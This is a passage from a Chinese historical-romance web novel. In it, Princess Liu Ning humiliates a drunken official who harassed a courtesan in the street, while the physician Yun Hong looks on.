年的老参,只是人参、鹿茸药性太烈,需得用些药性温和的,先把她这飘摇的底子托住了再说,日后再慢慢给她补。 云虹脑子里掠过一味又一味的药材,心里敲定主意,脚下生风,走得也愈发飞快。 不料竟在醉云轩前绊住了脚。 一醉汉从醉云轩对面的畅音坊飞出,摔在云虹脚下,一颗牙齿从醉汉嘴里蹦出来。 霎时间,街上的人群散开,很快又绕着醉汉围成一个圈,窃窃私语。 云虹皱眉,站在原地未动。 “以后再让我在畅音坊看到你一次,我便打你一次!” “直到打得你满地找牙!”刘宁一撩袍子,从畅音坊走出,簇拥在她身后的,还有畅音坊的一众姑娘。 刘宁看向那醉汉,一眼便认出了挺直站立的云虹,心头猛然一颤。 云虹来的方向是她的公主府,她竟然连云虹也请来了,难不成是她…… 刘宁眼皮一阵乱跳,不自觉向前又走了一步,与云虹又近了一步。 醉汉嘴上不服,吐出些不干净的话来:“哼,一个个的装什么清高?嗯?还不是给点银子……就……就跟人跑了?” “我也有银子!给你多少,我翻倍!”醉汉晃晃悠悠起身,朝着刘宁身旁的沈韵扑过去,“今儿你也陪陪——” 沈韵吓得连连后退,一旁的那尔丹早已摩拳擦掌,不待她动手,刘宁便又补上一脚,干脆利落。 “什么东西?” “几口黄汤下肚便没了人形?” “你!”醉汉登时恼怒,不顾身边仆从的阻拦,亮出自己的身份,“我可是马上要到户部赴任的三品侍郎!你又算个什么东西?” 同行的人也仗着势,叫嚣道:“这可是朝廷要员!你竟敢当街殴打朝廷要员!” “户部?侍郎?”刘宁嗤了一声,又看了云虹一眼,碍于街上人多口杂,她想问的话没问出口。 一旁的沈韵则是暗暗松了口气,不过是个三品,比殿下可差远了。 刘宁走向那四仰八爬躺在地上、即将赴任户部侍郎的醉汉,与云虹对视一眼,居高临下道:“我记得,你的户部尚书还是程显吧?” “你……你怎敢直呼恩师名讳!”挨了两脚,醉汉酒已醒了大半,强撑着维持着自己所剩无几的体面。 “酗酒滋事,口出秽言,本宫倒是想看看,程显是如何教出你这样的门生的。”刘宁语气平静,听不出喜怒。 听闻面前这人自称本宫,醉汉犹如遭了一击晴天霹雳。现下他的酒是彻底醒了,慌忙追上刘宁的马车:“敢问……敢问是……是哪位殿下?小人有眼无珠……有眼无珠……”一边说着,一边扇自己的嘴巴。 “这是咱们宁乐殿下!”那尔丹狠狠瞪了醉汉一眼,抢着道。 刚才还凑在醉汉身旁的同行人,早已如鸟兽散开。 独留下那个醉汉,双眼失神,呆愣地站定,此时他恨不得能自己今日从未饮酒,从未来过什么畅音坊。 街上看热闹的人群很快散去,很快,一切照旧。 云虹却被那尔丹拦住了路。